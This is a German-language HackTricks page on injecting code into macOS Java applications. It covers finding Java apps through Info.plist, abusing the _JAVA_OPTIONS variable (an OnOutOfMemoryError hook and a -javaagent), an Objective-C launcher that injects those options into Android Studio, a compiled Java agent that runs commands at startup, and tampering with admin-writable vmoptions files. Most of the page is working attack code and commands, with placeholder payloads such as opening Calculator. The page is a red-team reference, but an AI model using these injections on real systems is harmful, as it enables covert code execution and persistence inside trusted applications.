macOS Java Applications Injection

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Enumeration

Finden Sie Java-Anwendungen, die in Ihrem System installiert sind. Es wurde festgestellt, dass Java-Apps in der Info.plist einige Java-Parameter enthalten, die den String java. enthalten. Sie können also danach suchen:

# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

_JAVA_OPTIONS

Die Umgebungsvariable _JAVA_OPTIONS kann verwendet werden, um beliebige Java-Parameter in der Ausführung einer Java-kompilierten App einzufügen:

# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

Um es als neuen Prozess und nicht als Kind des aktuellen Terminals auszuführen, können Sie Folgendes verwenden:

#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";

NSError *error = nil;

// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];

if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}

NSLog(@"File written successfully to %@", filePath);

// Create a new task
NSTask *task = [[NSTask alloc] init];

/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];

// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];

// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};

// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];

// Set the task's environment
[task setEnvironment:environment];

// Launch the task
[task launch];
}
return 0;
}

Jedoch wird dadurch ein Fehler in der ausgeführten App ausgelöst. Eine noch unauffälligere Methode besteht darin, einen Java-Agenten zu erstellen und folgendes zu verwenden:

export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

Das Erstellen des Agenten mit einer anderen Java-Version als die Anwendung kann sowohl den Agenten als auch die Anwendung zum Absturz bringen.

Wo der Agent sein kann:

Agent.java
import java.io.*;
import java.lang.instrument.*;

public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
Runtime.getRuntime().exec(commands);
}
catch (Exception err) {
err.printStackTrace();
}
}
}

Um den Agenten zu kompilieren, führen Sie Folgendes aus:

javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar

Mit manifest.txt:

Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

Und dann exportieren Sie die Umgebungsvariable und führen Sie die Java-Anwendung wie folgt aus:

export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

vmoptions-Datei

Diese Datei unterstützt die Spezifikation von Java-Parametern, wenn Java ausgeführt wird. Sie können einige der zuvor genannten Tricks verwenden, um die Java-Parameter zu ändern und den Prozess dazu zu bringen, beliebige Befehle auszuführen. Darüber hinaus kann diese Datei auch andere Dateien einschließen mit dem include-Verzeichnis, sodass Sie auch eine eingeschlossene Datei ändern können.

Darüber hinaus laden einige Java-Anwendungen mehr als eine vmoptions-Datei.

Einige Anwendungen wie Android Studio geben in ihrer Ausgabe an, wo sie nach diesen Dateien suchen, zum Beispiel:

/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions

2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions

Wenn sie es nicht tun, können Sie es leicht überprüfen mit:

# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal

# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio

Beachten Sie, wie interessant es ist, dass Android Studio in diesem Beispiel versucht, die Datei /Applications/Android Studio.app.vmoptions zu laden, ein Ort, an dem jeder Benutzer aus der admin Gruppe Schreibzugriff hat.

Lernen Sie das Hacken von AWS von Null bis zum Experten mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated